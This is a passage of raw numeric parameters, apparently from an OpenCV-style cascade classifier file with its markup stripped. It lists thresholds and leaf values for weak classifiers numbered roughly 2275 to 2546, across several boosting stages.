-9.5039997249841690e-03 + <_> + + 0 -1 2275 -3.0900000128895044e-03 + + 2.3838299512863159e-01 -1.1606200039386749e-01 + <_> + + 0 -1 2276 -3.3392000943422318e-02 + + -1.8738139867782593e+00 -6.8502999842166901e-02 + <_> + + 0 -1 2277 1.3190000317990780e-02 + + 1.2919899821281433e-01 -6.7512202262878418e-01 + <_> + + 0 -1 2278 1.4661000110208988e-02 + + -2.4829000234603882e-02 -7.4396800994873047e-01 + <_> + + 0 -1 2279 -1.3248000293970108e-02 + + 4.6820199489593506e-01 -2.4165000766515732e-02 + <_> + + 0 -1 2280 -1.6218999400734901e-02 + + 4.0083798766136169e-01 -2.1255700290203094e-01 + <_> + + 0 -1 2281 -2.9052000492811203e-02 + + -1.5650019645690918e+00 1.4375899732112885e-01 + <_> + + 0 -1 2282 -1.0153199732303619e-01 + + -1.9220689535140991e+00 -6.9559998810291290e-02 + <_> + + 0 -1 2283 3.7753999233245850e-02 + + 1.3396799564361572e-01 -2.2639141082763672e+00 + <_> + + 0 -1 2284 -2.8555598855018616e-01 + + 1.0215270519256592e+00 -1.5232199430465698e-01 + <_> + + 0 -1 2285 1.5360699594020844e-01 + + -9.7409002482891083e-02 4.1662400960922241e-01 + <_> + + 0 -1 2286 -2.1199999901000410e-04 + + 1.1271899938583374e-01 -4.1653999686241150e-01 + <_> + + 0 -1 2287 -2.0597999915480614e-02 + + 6.0540497303009033e-01 6.2467999756336212e-02 + <_> + + 0 -1 2288 3.7353999912738800e-02 + + -1.8919000029563904e-01 4.6464699506759644e-01 + <_> + + 0 -1 2289 5.7275000959634781e-02 + + 1.1565300077199936e-01 -1.3213009834289551e+00 + <_> + + 0 -1 2290 5.1029999740421772e-03 + + -2.8061500191688538e-01 1.9313399493694305e-01 + <_> + + 0 -1 2291 -5.4644998162984848e-02 + + 7.2428500652313232e-01 7.5447998940944672e-02 + <_> + + 0 -1 2292 2.5349000468850136e-02 + + -1.9481800496578217e-01 4.6032801270484924e-01 + <_> + + 0 -1 2293 2.4311000481247902e-02 + + 1.5564100444316864e-01 -4.9913901090621948e-01 + <_> + + 0 -1 2294 3.5962000489234924e-02 + + -5.8573000133037567e-02 -1.5418399572372437e+00 + <_> + + 0 -1 2295 -1.0000699758529663e-01 + + -1.6100039482116699e+00 1.1450500041246414e-01 + <_> + + 0 -1 2296 8.4435999393463135e-02 + + -6.1406999826431274e-02 -1.4673349857330322e+00 + <_> + + 0 -1 2297 1.5947999432682991e-02 + + 1.6287900507450104e-01 -1.1026400327682495e-01 + <_> + + 0 -1 2298 3.3824000507593155e-02 + + -1.7932699620723724e-01 5.7218402624130249e-01 + <_> + + 0 -1 2299 -6.1996001750230789e-02 + + 4.6511812210083008e+00 9.4534002244472504e-02 + <_> + + 0 -1 2300 6.9876998662948608e-02 + + -1.6985900700092316e-01 8.7028998136520386e-01 + <_> + + 0 -1 2301 -2.7916999533772469e-02 + + 9.1042500734329224e-01 5.6827001273632050e-02 + <_> + + 0 -1 2302 -1.2764000333845615e-02 + + 2.2066700458526611e-01 -2.7769100666046143e-01 + <_> + 199 + -3.2573320865631104e+00 + + <_> + + 0 -1 2303 2.1662000566720963e-02 + + -8.9868897199630737e-01 2.9436299204826355e-01 + <_> + + 0 -1 2304 1.0044500231742859e-01 + + -3.7659201025962830e-01 6.0891002416610718e-01 + <_> + + 0 -1 2305 2.6003999635577202e-02 + + -3.8128501176834106e-01 3.9217400550842285e-01 + <_> + + 0 -1 2306 2.8441000729799271e-02 + + -1.8182300031185150e-01 5.8927202224731445e-01 + <_> + + 0 -1 2307 3.8612000644207001e-02 + + -2.2399599850177765e-01 6.3779997825622559e-01 + <_> + + 0 -1 2308 -4.6594999730587006e-02 + + 7.0812201499938965e-01 -1.4666199684143066e-01 + <_> + + 0 -1 2309 -4.2791999876499176e-02 + + 4.7680398821830750e-01 -2.9233199357986450e-01 + <_> + + 0 -1 2310 3.7960000336170197e-03 + + -1.8510299921035767e-01 5.2626699209213257e-01 + <_> + + 0 -1 2311 4.2348999530076981e-02 + + 3.9244998246431351e-02 -8.9197701215744019e-01 + <_> + + 0 -1 2312 1.9598999992012978e-02 + + -2.3358400166034698e-01 4.4146499037742615e-01 + <_> + + 0 -1 2313 8.7400001939386129e-04 + + -4.6063598990440369e-01 1.7689600586891174e-01 + <_> + + 0 -1 2314 -4.3629999272525311e-03 + + 3.3493199944496155e-01 -2.9893401265144348e-01 + <_> + + 0 -1 2315 1.6973000019788742e-02 + + -1.6408699750900269e-01 1.5993679761886597e+00 + <_> + + 0 -1 2316 3.6063998937606812e-02 + + 2.2601699829101562e-01 -5.3186100721359253e-01 + <_> + + 0 -1 2317 -7.0864997804164886e-02 + + 1.5220500528812408e-01 -4.1914600133895874e-01 + <_> + + 0 -1 2318 -6.3075996935367584e-02 + + -1.4874019622802734e+00 1.2953700125217438e-01 + <_> + + 0 -1 2319 2.9670000076293945e-02 + + -1.9145900011062622e-01 9.8184901475906372e-01 + <_> + + 0 -1 2320 3.7873998284339905e-02 + + 1.3459500670433044e-01 -5.6316298246383667e-01 + <_> + + 0 -1 2321 -3.3289000391960144e-02 + + -1.0828030109405518e+00 -1.1504000052809715e-02 + <_> + + 0 -1 2322 -3.1608998775482178e-02 + + -5.9224498271942139e-01 1.3394799828529358e-01 + <_> + + 0 -1 2323 1.0740000288933516e-03 + + -4.9185800552368164e-01 9.4446003437042236e-02 + <_> + + 0 -1 2324 -7.1556001901626587e-02 + + 5.9710198640823364e-01 -3.9553001523017883e-02 + <_> + + 0 -1 2325 -8.1170000135898590e-02 + + -1.1817820072174072e+00 -2.8254000470042229e-02 + <_> + + 0 -1 2326 4.4860001653432846e-03 + + -6.1028099060058594e-01 2.2619099915027618e-01 + <_> + + 0 -1 2327 -4.2176000773906708e-02 + + -1.1435619592666626e+00 -2.9001999646425247e-02 + <_> + + 0 -1 2328 -6.5640002489089966e-02 + + -1.6470279693603516e+00 1.2810300290584564e-01 + <_> + + 0 -1 2329 1.8188999965786934e-02 + + -3.1149399280548096e-01 2.5739601254463196e-01 + <_> + + 0 -1 2330 -5.1520001143217087e-02 + + -6.9206899404525757e-01 1.5270799398422241e-01 + <_> + + 0 -1 2331 -4.7150999307632446e-02 + + -7.1868300437927246e-01 2.6879999786615372e-03 + <_> + + 0 -1 2332 1.7488999292254448e-02 + + 2.2371199727058411e-01 -5.5381798744201660e-01 + <_> + + 0 -1 2333 -2.5264000520110130e-02 + + 1.0319819450378418e+00 -1.7496499419212341e-01 + <_> + + 0 -1 2334 -4.0745001286268234e-02 + + 4.4961598515510559e-01 3.9349000900983810e-02 + <_> + + 0 -1 2335 -3.7666998803615570e-02 + + -8.5475701093673706e-01 -1.2463999912142754e-02 + <_> + + 0 -1 2336 -1.3411000370979309e-02 + + 5.7845598459243774e-01 -1.7467999830842018e-02 + <_> + + 0 -1 2337 -7.8999997640494257e-05 + + -3.7749201059341431e-01 1.3961799442768097e-01 + <_> + + 0 -1 2338 -1.1415000073611736e-02 + + -2.6186600327491760e-01 2.3712499439716339e-01 + <_> + + 0 -1 2339 3.7200000137090683e-02 + + -2.8626000508666039e-02 -1.2945239543914795e+00 + <_> + + 0 -1 2340 3.4050000831484795e-03 + + 2.0531399548053741e-01 -1.8747499585151672e-01 + <_> + + 0 -1 2341 -2.2483000531792641e-02 + + 6.7027199268341064e-01 -1.9594000279903412e-01 + <_> + + 0 -1 2342 2.3274999111890793e-02 + + 1.7405399680137634e-01 -3.2746300101280212e-01 + <_> + + 0 -1 2343 -1.3917000032961369e-02 + + -8.3954298496246338e-01 -6.3760001212358475e-03 + <_> + + 0 -1 2344 7.5429999269545078e-03 + + -3.4194998443126678e-02 5.8998197317123413e-01 + <_> + + 0 -1 2345 -1.1539000086486340e-02 + + 4.2142799496650696e-01 -2.3510499298572540e-01 + <_> + + 0 -1 2346 5.2501998841762543e-02 + + 6.9303996860980988e-02 7.3226499557495117e-01 + <_> + + 0 -1 2347 5.2715998142957687e-02 + + -1.5688100457191467e-01 1.0907289981842041e+00 + <_> + + 0 -1 2348 -1.1726000346243382e-02 + + -7.0934301614761353e-01 1.6828800737857819e-01 + <_> + + 0 -1 2349 9.5945999026298523e-02 + + -1.6192899644374847e-01 1.0072519779205322e+00 + <_> + + 0 -1 2350 -1.5871999785304070e-02 + + 3.9008399844169617e-01 -5.3777001798152924e-02 + <_> + + 0 -1 2351 3.4818001091480255e-02 + + 1.7179999500513077e-02 -9.3941801786422729e-01 + <_> + + 0 -1 2352 3.4791998565196991e-02 + + 5.0462998449802399e-02 5.4465699195861816e-01 + <_> + + 0 -1 2353 1.6284000128507614e-02 + + -2.6981300115585327e-01 4.0365299582481384e-01 + <_> + + 0 -1 2354 -4.4319000095129013e-02 + + 8.4399998188018799e-01 3.2882999628782272e-02 + <_> + + 0 -1 2355 -5.5689997971057892e-03 + + 1.5309399366378784e-01 -3.4959799051284790e-01 + <_> + + 0 -1 2356 -6.5842002630233765e-02 + + -9.2711198329925537e-01 1.6800999641418457e-01 + <_> + + 0 -1 2357 -7.3337003588676453e-02 + + 5.1614499092102051e-01 -2.0236000418663025e-01 + <_> + + 0 -1 2358 1.6450000926852226e-02 + + 1.3950599730014801e-01 -4.9301299452781677e-01 + <_> + + 0 -1 2359 -9.2630004510283470e-03 + + -9.0101999044418335e-01 -1.6116000711917877e-02 + <_> + + 0 -1 2360 5.9139998629689217e-03 + + 1.9858199357986450e-01 -1.6731299459934235e-01 + <_> + + 0 -1 2361 -8.4699998842552304e-04 + + 9.4005003571510315e-02 -4.1570898890495300e-01 + <_> + + 0 -1 2362 2.0532900094985962e-01 + + -6.0022000223398209e-02 7.0993602275848389e-01 + <_> + + 0 -1 2363 -1.6883000731468201e-02 + + 2.4392199516296387e-01 -3.0551800131797791e-01 + <_> + + 0 -1 2364 -1.9111000001430511e-02 + + 6.1229902505874634e-01 2.4252999573945999e-02 + <_> + + 0 -1 2365 -2.5962999090552330e-02 + + 9.0764999389648438e-01 -1.6722099483013153e-01 + <_> + + 0 -1 2366 -2.1762000396847725e-02 + + -3.1384700536727905e-01 2.0134599506855011e-01 + <_> + + 0 -1 2367 -2.4119999259710312e-02 + + -6.6588401794433594e-01 7.4559999629855156e-03 + <_> + + 0 -1 2368 4.7129999846220016e-02 + + 5.9533998370170593e-02 8.7804502248764038e-01 + <_> + + 0 -1 2369 -4.5984998345375061e-02 + + 8.0067998170852661e-01 -1.7252300679683685e-01 + <_> + + 0 -1 2370 2.6507999747991562e-02 + + 1.8774099647998810e-01 -6.0850602388381958e-01 + <_> + + 0 -1 2371 -4.8615001142024994e-02 + + 5.8644098043441772e-01 -1.9427700340747833e-01 + <_> + + 0 -1 2372 -1.8562000244855881e-02 + + -2.5587901473045349e-01 1.6326199471950531e-01 + <_> + + 0 -1 2373 1.2678000144660473e-02 + + -1.4228000305593014e-02 -7.6738101243972778e-01 + <_> + + 0 -1 2374 -1.1919999960809946e-03 + + 2.0495000481605530e-01 -1.1404299736022949e-01 + <_> + + 0 -1 2375 -4.9088999629020691e-02 + + -1.0740849971771240e+00 -3.8940999656915665e-02 + <_> + + 0 -1 2376 -1.7436999827623367e-02 + + -5.7973802089691162e-01 1.8584500253200531e-01 + <_> + + 0 -1 2377 -1.4770000241696835e-02 + + -6.6150301694869995e-01 5.3119999356567860e-03 + <_> + + 0 -1 2378 -2.2905200719833374e-01 + + -4.8305100202560425e-01 1.2326399981975555e-01 + <_> + + 0 -1 2379 -1.2707099318504333e-01 + + 5.7452601194381714e-01 -1.9420400261878967e-01 + <_> + + 0 -1 2380 1.0339000262320042e-02 + + -5.4641999304294586e-02 2.4501800537109375e-01 + <_> + + 0 -1 2381 6.9010001607239246e-03 + + 1.2180600315332413e-01 -3.8797399401664734e-01 + <_> + + 0 -1 2382 2.9025399684906006e-01 + + 1.0966199636459351e-01 -30. + <_> + + 0 -1 2383 -2.3804999887943268e-01 + + -1.7352679967880249e+00 -6.3809998333454132e-02 + <_> + + 0 -1 2384 6.2481001019477844e-02 + + 1.3523000478744507e-01 -7.0301097631454468e-01 + <_> + + 0 -1 2385 4.7109997831285000e-03 + + -4.6984100341796875e-01 6.0341998934745789e-02 + <_> + + 0 -1 2386 -2.7815999463200569e-02 + + 6.9807600975036621e-01 1.3719999697059393e-03 + <_> + + 0 -1 2387 -1.7020000144839287e-02 + + 1.6870440244674683e+00 -1.4314800500869751e-01 + <_> + + 0 -1 2388 -4.9754999577999115e-02 + + 7.9497700929641724e-01 7.7199999941512942e-04 + <_> + + 0 -1 2389 -7.4732996523380280e-02 + + -1.0132360458374023e+00 -1.9388999789953232e-02 + <_> + + 0 -1 2390 3.2009001821279526e-02 + + 1.4412100613117218e-01 -4.2139101028442383e-01 + <_> + + 0 -1 2391 -9.4463996589183807e-02 + + 5.0682598352432251e-01 -2.0478899776935577e-01 + <_> + + 0 -1 2392 -1.5426999889314175e-02 + + -1.5811300277709961e-01 1.7806899547576904e-01 + <_> + + 0 -1 2393 -4.0540001355111599e-03 + + -5.4366701841354370e-01 3.1235000118613243e-02 + <_> + + 0 -1 2394 3.0080000869929790e-03 + + -1.7376799881458282e-01 3.0441701412200928e-01 + <_> + + 0 -1 2395 -1.0091999545693398e-02 + + 2.5103801488876343e-01 -2.6224100589752197e-01 + <_> + + 0 -1 2396 -3.8818001747131348e-02 + + 9.3226701021194458e-01 7.2659999132156372e-02 + <_> + + 0 -1 2397 3.4651998430490494e-02 + + -3.3934999257326126e-02 -8.5707902908325195e-01 + <_> + + 0 -1 2398 -4.6729999594390392e-03 + + 3.4969300031661987e-01 -4.8517998307943344e-02 + <_> + + 0 -1 2399 6.8499997723847628e-04 + + 6.6573001444339752e-02 -4.4973799586296082e-01 + <_> + + 0 -1 2400 3.5317000001668930e-02 + + 1.4275799691677094e-01 -4.6726399660110474e-01 + <_> + + 0 -1 2401 -2.3569999262690544e-02 + + -1.0286079645156860e+00 -4.5288000255823135e-02 + <_> + + 0 -1 2402 -1.9109999993816018e-03 + + -1.9652199745178223e-01 2.8661000728607178e-01 + <_> + + 0 -1 2403 -1.6659000888466835e-02 + + -7.7532202005386353e-01 -8.3280000835657120e-03 + <_> + + 0 -1 2404 6.6062200069427490e-01 + + 1.3232499361038208e-01 -3.5266680717468262e+00 + <_> + + 0 -1 2405 1.0970599949359894e-01 + + -1.5547199547290802e-01 1.4674140214920044e+00 + <_> + + 0 -1 2406 1.3500999659299850e-02 + + 1.5233400464057922e-01 -1.3020930290222168e+00 + <_> + + 0 -1 2407 -2.2871999070048332e-02 + + -7.1325999498367310e-01 -8.7040001526474953e-03 + <_> + + 0 -1 2408 -8.1821002066135406e-02 + + 1.1127580404281616e+00 8.3219997584819794e-02 + <_> + + 0 -1 2409 -5.2728001028299332e-02 + + 9.3165099620819092e-01 -1.7103999853134155e-01 + <_> + + 0 -1 2410 -2.5242000818252563e-02 + + -1.9733799993991852e-01 2.5359401106834412e-01 + <_> + + 0 -1 2411 -4.3818999081850052e-02 + + 4.1815200448036194e-01 -2.4585500359535217e-01 + <_> + + 0 -1 2412 -1.8188999965786934e-02 + + -5.1743197441101074e-01 2.0174199342727661e-01 + <_> + + 0 -1 2413 2.3466000333428383e-02 + + -4.3071001768112183e-02 -1.0636579990386963e+00 + <_> + + 0 -1 2414 3.4216001629829407e-02 + + 5.3780999034643173e-02 4.9707201123237610e-01 + <_> + + 0 -1 2415 2.5692999362945557e-02 + + -2.3800100386142731e-01 4.1651499271392822e-01 + <_> + + 0 -1 2416 -2.6565000414848328e-02 + + -8.8574802875518799e-01 1.3365900516510010e-01 + <_> + + 0 -1 2417 6.0942001640796661e-02 + + -2.0669700205326080e-01 5.8309000730514526e-01 + <_> + + 0 -1 2418 1.4474500715732574e-01 + + 1.3282300531864166e-01 -3.1449348926544189e+00 + <_> + + 0 -1 2419 5.3410999476909637e-02 + + -1.7325200140476227e-01 6.9190698862075806e-01 + <_> + + 0 -1 2420 1.1408000253140926e-02 + + 5.4822001606225967e-02 3.0240398645401001e-01 + <_> + + 0 -1 2421 -2.3179999552667141e-03 + + 1.5820899605751038e-01 -3.1973201036453247e-01 + <_> + + 0 -1 2422 -2.9695000499486923e-02 + + 7.1274799108505249e-01 5.8136001229286194e-02 + <_> + + 0 -1 2423 2.7249999344348907e-02 + + -1.5754100680351257e-01 9.2143797874450684e-01 + <_> + + 0 -1 2424 -3.6200000904500484e-03 + + -3.4548398852348328e-01 2.0220999419689178e-01 + <_> + + 0 -1 2425 -1.2578999623656273e-02 + + -5.5650299787521362e-01 2.0388999953866005e-02 + <_> + + 0 -1 2426 -8.8849000632762909e-02 + + -3.6100010871887207e+00 1.3164199888706207e-01 + <_> + + 0 -1 2427 -1.9256999716162682e-02 + + 5.1908999681472778e-01 -1.9284300506114960e-01 + <_> + + 0 -1 2428 -1.6666999086737633e-02 + + -8.7499998509883881e-02 1.5812499821186066e-01 + <_> + + 0 -1 2429 1.2931999750435352e-02 + + 2.7405999600887299e-02 -5.5123901367187500e-01 + <_> + + 0 -1 2430 -1.3431999832391739e-02 + + 2.3457799851894379e-01 -4.3235000222921371e-02 + <_> + + 0 -1 2431 1.8810000270605087e-02 + + -3.9680998772382736e-02 -9.4373297691345215e-01 + <_> + + 0 -1 2432 -6.4349998719990253e-03 + + 4.5703700184822083e-01 -4.0520001202821732e-03 + <_> + + 0 -1 2433 -2.4249000474810600e-02 + + -7.6248002052307129e-01 -1.9857000559568405e-02 + <_> + + 0 -1 2434 -2.9667999595403671e-02 + + -3.7412509918212891e+00 1.1250600218772888e-01 + <_> + + 0 -1 2435 5.1150000654160976e-03 + + -6.3781797885894775e-01 1.1223999783396721e-02 + <_> + + 0 -1 2436 -5.7819997891783714e-03 + + 1.9374400377273560e-01 -8.2042001187801361e-02 + <_> + + 0 -1 2437 1.6606999561190605e-02 + + -1.6192099452018738e-01 1.1334990262985229e+00 + <_> + + 0 -1 2438 3.8228001445531845e-02 + + 2.1105000749230385e-02 7.6264202594757080e-01 + <_> + + 0 -1 2439 -5.7094000279903412e-02 + + -1.6974929571151733e+00 -5.9762001037597656e-02 + <_> + + 0 -1 2440 -5.3883001208305359e-02 + + 1.1850190162658691e+00 9.0966999530792236e-02 + <_> + + 0 -1 2441 -2.6110000908374786e-03 + + -4.0941199660301208e-01 8.3820998668670654e-02 + <_> + + 0 -1 2442 2.9714399576187134e-01 + + 1.5529899299144745e-01 -1.0995409488677979e+00 + <_> + + 0 -1 2443 -8.9063003659248352e-02 + + 4.8947200179100037e-01 -2.0041200518608093e-01 + <_> + + 0 -1 2444 -5.6193001568317413e-02 + + -2.4581399559974670e-01 1.4365500211715698e-01 + <_> + + 0 -1 2445 3.7004999816417694e-02 + + -4.8168998211622238e-02 -1.2310709953308105e+00 + <_> + + 0 -1 2446 -8.4840003401041031e-03 + + 4.3372601270675659e-01 1.3779999688267708e-02 + <_> + + 0 -1 2447 -2.4379999376833439e-03 + + 1.8949699401855469e-01 -3.2294198870658875e-01 + <_> + + 0 -1 2448 -7.1639999747276306e-02 + + -4.3979001045227051e-01 2.2730199992656708e-01 + <_> + + 0 -1 2449 5.2260002121329308e-03 + + -2.0548400282859802e-01 5.0933301448822021e-01 + <_> + + 0 -1 2450 -6.1360001564025879e-03 + + 3.1157198548316956e-01 7.0680998265743256e-02 + <_> + + 0 -1 2451 1.5595000237226486e-02 + + -3.0934798717498779e-01 1.5627700090408325e-01 + <_> + + 0 -1 2452 2.5995999574661255e-02 + + 1.3821600377559662e-01 -1.7616599798202515e-01 + <_> + + 0 -1 2453 -1.2085000053048134e-02 + + -5.1070201396942139e-01 5.8440998196601868e-02 + <_> + + 0 -1 2454 -6.7836001515388489e-02 + + 4.7757101058959961e-01 -7.1446001529693604e-02 + <_> + + 0 -1 2455 -1.4715000055730343e-02 + + 4.5238900184631348e-01 -1.9861400127410889e-01 + <_> + + 0 -1 2456 2.5118999183177948e-02 + + 1.2954899668693542e-01 -8.6266398429870605e-01 + <_> + + 0 -1 2457 1.8826000392436981e-02 + + -4.1570000350475311e-02 -1.1354700326919556e+00 + <_> + + 0 -1 2458 -2.1263999864459038e-02 + + -3.4738001227378845e-01 1.5779499709606171e-01 + <_> + + 0 -1 2459 9.4609996303915977e-03 + + 4.8639997839927673e-03 -6.1654800176620483e-01 + <_> + + 0 -1 2460 2.2957700490951538e-01 + + 8.1372998654842377e-02 6.9841402769088745e-01 + <_> + + 0 -1 2461 -3.8061998784542084e-02 + + 1.1616369485855103e+00 -1.4976699650287628e-01 + <_> + + 0 -1 2462 -1.3484999537467957e-02 + + -3.2036399841308594e-01 1.7365099489688873e-01 + <_> + + 0 -1 2463 3.6238998174667358e-02 + + -1.8158499896526337e-01 6.1956697702407837e-01 + <_> + + 0 -1 2464 6.7210001870989799e-03 + + 7.9600000753998756e-04 4.2441400885581970e-01 + <_> + + 0 -1 2465 9.6525996923446655e-02 + + -1.4696800708770752e-01 1.2525680065155029e+00 + <_> + + 0 -1 2466 -3.5656999796628952e-02 + + -3.9781698584556580e-01 1.4191399514675140e-01 + <_> + + 0 -1 2467 1.0772000066936016e-02 + + -1.8194000422954559e-01 5.9762197732925415e-01 + <_> + + 0 -1 2468 7.9279996454715729e-02 + + 1.4642499387264252e-01 -7.8836899995803833e-01 + <_> + + 0 -1 2469 3.2841000705957413e-02 + + -6.2408000230789185e-02 -1.4227490425109863e+00 + <_> + + 0 -1 2470 -2.7781000360846519e-02 + + 3.4033098816871643e-01 3.0670000240206718e-02 + <_> + + 0 -1 2471 -4.0339999832212925e-03 + + 3.1084701418876648e-01 -2.2595700621604919e-01 + <_> + + 0 -1 2472 7.4260002002120018e-03 + + -3.8936998695135117e-02 3.1702101230621338e-01 + <_> + + 0 -1 2473 1.1213999986648560e-01 + + -1.7578299343585968e-01 6.5056598186492920e-01 + <_> + + 0 -1 2474 -1.1878100037574768e-01 + + -1.0092990398406982e+00 1.1069700121879578e-01 + <_> + + 0 -1 2475 -4.1584998369216919e-02 + + -5.3806400299072266e-01 1.9905000925064087e-02 + <_> + + 0 -1 2476 -2.7966000139713287e-02 + + 4.8143199086189270e-01 3.3590998500585556e-02 + <_> + + 0 -1 2477 -1.2506400048732758e-01 + + 2.6352199912071228e-01 -2.5737899541854858e-01 + <_> + + 0 -1 2478 2.3666900396347046e-01 + + 3.6508001387119293e-02 9.0655601024627686e-01 + <_> + + 0 -1 2479 -2.9475999996066093e-02 + + -6.0048800706863403e-01 9.5880003646016121e-03 + <_> + + 0 -1 2480 3.7792999297380447e-02 + + 1.5506200492382050e-01 -9.5733499526977539e-01 + <_> + + 0 -1 2481 7.2044000029563904e-02 + + -1.4525899291038513e-01 1.3676730394363403e+00 + <_> + + 0 -1 2482 9.7759999334812164e-03 + + 1.2915999628603458e-02 2.1640899777412415e-01 + <_> + + 0 -1 2483 5.2154000848531723e-02 + + -1.6359999775886536e-02 -8.8356298208236694e-01 + <_> + + 0 -1 2484 -4.3790999799966812e-02 + + 3.5829600691795349e-01 6.5131001174449921e-02 + <_> + + 0 -1 2485 -3.8378998637199402e-02 + + 1.1961040496826172e+00 -1.4971500635147095e-01 + <_> + + 0 -1 2486 -9.8838999867439270e-02 + + -6.1834001541137695e-01 1.2786200642585754e-01 + <_> + + 0 -1 2487 -1.2190700322389603e-01 + + -1.8276120424270630e+00 -6.4862996339797974e-02 + <_> + + 0 -1 2488 -1.1981700360774994e-01 + + -30. 1.1323300004005432e-01 + <_> + + 0 -1 2489 3.0910000205039978e-02 + + -2.3934000730514526e-01 3.6332899332046509e-01 + <_> + + 0 -1 2490 1.0800999589264393e-02 + + -3.5140000283718109e-02 2.7707898616790771e-01 + <_> + + 0 -1 2491 5.6844998151063919e-02 + + -1.5524299442768097e-01 1.0802700519561768e+00 + <_> + + 0 -1 2492 1.0280000278726220e-03 + + -6.1202999204397202e-02 2.0508000254631042e-01 + <_> + + 0 -1 2493 -2.8273999691009521e-02 + + -6.4778000116348267e-01 2.3917000740766525e-02 + <_> + + 0 -1 2494 -1.6013599932193756e-01 + + 1.0892050266265869e+00 5.8389000594615936e-02 + <_> + + 0 -1 2495 4.9629998393356800e-03 + + -2.5806298851966858e-01 2.0834599435329437e-01 + <_> + + 0 -1 2496 4.6937000006437302e-02 + + 1.3886299729347229e-01 -1.5662620067596436e+00 + <_> + + 0 -1 2497 2.4286000058054924e-02 + + -2.0728300511837006e-01 5.2430999279022217e-01 + <_> + + 0 -1 2498 7.0202000439167023e-02 + + 1.4796899259090424e-01 -1.3095090389251709e+00 + <_> + + 0 -1 2499 9.8120002076029778e-03 + + 2.7906000614166260e-02 -5.0864601135253906e-01 + <_> + + 0 -1 2500 -5.6200999766588211e-02 + + 1.2618130445480347e+00 6.3801996409893036e-02 + <_> + + 0 -1 2501 1.0982800275087357e-01 + + -1.2850099802017212e-01 3.0776169300079346e+00 + <_> + 211 + -3.3703000545501709e+00 + + <_> + + 0 -1 2502 2.0910000428557396e-02 + + -6.8559402227401733e-01 3.8984298706054688e-01 + <_> + + 0 -1 2503 3.5032000392675400e-02 + + -4.7724398970603943e-01 4.5027199387550354e-01 + <_> + + 0 -1 2504 3.9799001067876816e-02 + + -4.7011101245880127e-01 4.2702499032020569e-01 + <_> + + 0 -1 2505 -4.8409998416900635e-03 + + 2.5614300370216370e-01 -6.6556298732757568e-01 + <_> + + 0 -1 2506 2.3439999204128981e-03 + + -4.8083499073982239e-01 2.8013798594474792e-01 + <_> + + 0 -1 2507 2.5312999263405800e-02 + + -2.3948200047016144e-01 4.4191798567771912e-01 + <_> + + 0 -1 2508 -3.2193001359701157e-02 + + 7.6086699962615967e-01 -2.5059100985527039e-01 + <_> + + 0 -1 2509 7.5409002602100372e-02 + + -3.4974598884582520e-01 3.4380298852920532e-01 + <_> + + 0 -1 2510 -1.8469000235199928e-02 + + -7.9085600376129150e-01 3.4788001328706741e-02 + <_> + + 0 -1 2511 -1.2802000157535076e-02 + + 4.7107800841331482e-01 -6.0006000101566315e-02 + <_> + + 0 -1 2512 -2.6598000898957253e-02 + + 6.7116099596023560e-01 -2.4257500469684601e-01 + <_> + + 0 -1 2513 2.1988999098539352e-02 + + 2.4717499315738678e-01 -4.8301699757575989e-01 + <_> + + 0 -1 2514 1.4654099941253662e-01 + + -2.1504099667072296e-01 7.2055900096893311e-01 + <_> + + 0 -1 2515 3.5310001112520695e-03 + + 2.7930998802185059e-01 -3.4339898824691772e-01 + <_> + + 0 -1 2516 9.4010001048445702e-03 + + 5.5861998349428177e-02 -8.2143598794937134e-01 + <_> + + 0 -1 2517 -8.6390003561973572e-03 + + -9.9620598554611206e-01 1.8874999880790710e-01 + <_> + + 0 -1 2518 -3.9193000644445419e-02 + + -1.1945559978485107e+00 -2.9198000207543373e-02 + <_> + + 0 -1 2519 2.4855000898241997e-02 + + 1.4987599849700928e-01 -5.4137802124023438e-01 + <_> + + 0 -1 2520 -3.4995000809431076e-02 + + -1.4210180044174194e+00 -4.2314000427722931e-02 + <_> + + 0 -1 2521 -1.8378999084234238e-02 + + -2.8242599964141846e-01 1.5581800043582916e-01 + <_> + + 0 -1 2522 -1.3592000119388103e-02 + + 4.7317099571228027e-01 -2.1937200427055359e-01 + <_> + + 0 -1 2523 6.2629999592900276e-03 + + -5.9714000672101974e-02 6.0625898838043213e-01 + <_> + + 0 -1 2524 -1.8478000536561012e-02 + + -8.5647201538085938e-01 -1.3783999718725681e-02 + <_> + + 0 -1 2525 1.4236000366508961e-02 + + 1.6654799878597260e-01 -2.7713999152183533e-01 + <_> + + 0 -1 2526 -3.2547000795602798e-02 + + -1.1728240251541138e+00 -4.0185000747442245e-02 + <_> + + 0 -1 2527 -2.6410000864416361e-03 + + 2.6514300704002380e-01 -5.6343000382184982e-02 + <_> + + 0 -1 2528 -8.7799999164417386e-04 + + 3.6556001752614975e-02 -5.5075198411941528e-01 + <_> + + 0 -1 2529 4.7371998429298401e-02 + + -4.2614001780748367e-02 4.8194900155067444e-01 + <_> + + 0 -1 2530 -7.0790001191198826e-03 + + 2.8698998689651489e-01 -3.2923001050949097e-01 + <_> + + 0 -1 2531 -4.3145999312400818e-02 + + -1.4065419435501099e+00 1.2836399674415588e-01 + <_> + + 0 -1 2532 2.0592000335454941e-02 + + -2.1435299515724182e-01 5.3981798887252808e-01 + <_> + + 0 -1 2533 -2.2367000579833984e-02 + + 3.3718299865722656e-01 4.5212000608444214e-02 + <_> + + 0 -1 2534 5.0039999186992645e-02 + + -2.5121700763702393e-01 4.1750499606132507e-01 + <_> + + 0 -1 2535 6.1794999986886978e-02 + + 4.0084999054670334e-02 6.8779802322387695e-01 + <_> + + 0 -1 2536 -4.1861999779939651e-02 + + 5.3027397394180298e-01 -2.2901999950408936e-01 + <_> + + 0 -1 2537 -3.1959998887032270e-03 + + 2.5161498785018921e-01 -2.1514600515365601e-01 + <_> + + 0 -1 2538 2.4255000054836273e-02 + + 7.2320001199841499e-03 -7.2519099712371826e-01 + <_> + + 0 -1 2539 -1.7303999513387680e-02 + + -4.9958199262619019e-01 1.8394500017166138e-01 + <_> + + 0 -1 2540 -4.1470001451671124e-03 + + 8.5211999714374542e-02 -4.6364700794219971e-01 + <_> + + 0 -1 2541 -1.4369999989867210e-02 + + -5.2258902788162231e-01 2.3892599344253540e-01 + <_> + + 0 -1 2542 -9.0399999171495438e-03 + + -6.3250398635864258e-01 3.2551001757383347e-02 + <_> + + 0 -1 2543 -1.2373100221157074e-01 + + 1.2856210470199585e+00 7.6545000076293945e-02 + <_> + + 0 -1 2544 -8.2221999764442444e-02 + + 8.3208197355270386e-01 -1.8590599298477173e-01 + <_> + + 0 -1 2545 6.5659001469612122e-02 + + 1.1298800259828568e-01 -30. + <_> + + 0 -1 2546 -3.1582999974489212e-02 + + -1.3485900163650513e+00 -4.7097001224756241e-02 + 